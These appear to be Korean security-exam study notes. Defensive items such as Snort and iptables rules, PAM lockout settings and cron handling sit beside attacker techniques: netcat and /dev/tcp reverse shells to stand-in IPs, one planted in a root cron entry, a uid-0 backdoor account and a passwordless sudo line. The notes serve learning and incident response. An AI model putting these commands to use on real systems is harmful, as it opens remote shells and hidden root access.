disable monitor 설정 추가ntpdc -c monlist 192.168.0.1alert tcp 192.168.1.0/24 any -> any any (content: !"데이터")alert tcp any any -> any 23 (msg: "TELNET"; content: "anonymous"; offset:0; depth:3;)iptables -A INPUT -p tcp --dport 80 -m recent --name hi --update --seconds 2 --hitcount 30 -j DROPiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --name hi --update --seconds 2 --hitcount 30 -j DROPiptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 5 -j DROPiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m connlimit --connlimit-above 5deny=5, unlock_time=120: 120초 후 잠금 해제no_magic_root: 루트 계정은 잠금 안 함reset: 로그인 성공 시 실패 횟수 초기화chmod 700 /etc/shadow* * * * * root /usr/nc 10.10.10.10 80 -e /bin/bashsystemctl stop cron
systemctl start cron
systemctl restart cronservice cron stop
service cron start
service cron restartcrontab -u username -rnc -lp 8080nc.exe 192.168.0.1 8080 -e cmdnetcat 옵션 설명:
-e /bin/bash: 연결 성공 시 bash 쉘 실행-l: 리스닝 모드 설정-p 8080: 리스닝할 포트 번호 지정useradd -o -u 0 -g 0 -d /root algisa-o: uid 중복 허용-d /root: 홈 디렉토리를 root로 설정algisa: 사용자명lastchattr -i file/pathls /proc/1234cat /proc/1234/cmdlinealgisa ALL=(ALL) NOPASSWD: ALLALL=(ALL): 모든 호스트에서NOPASSWD: ALL: sudo 사용 시 비밀번호 인증 없이 바로 사용 가능algisa ALL=(ALL) ALL사용자명 IP(사용자명) 허용할_명령어cp /proc/1234/exe /tmp/backdoor/bin/bash > /dev/tcp/10.10.10.10/8080 0<&1iptables -A OUTPUT -p udp --sport 123 -m length --length 100: -j DROP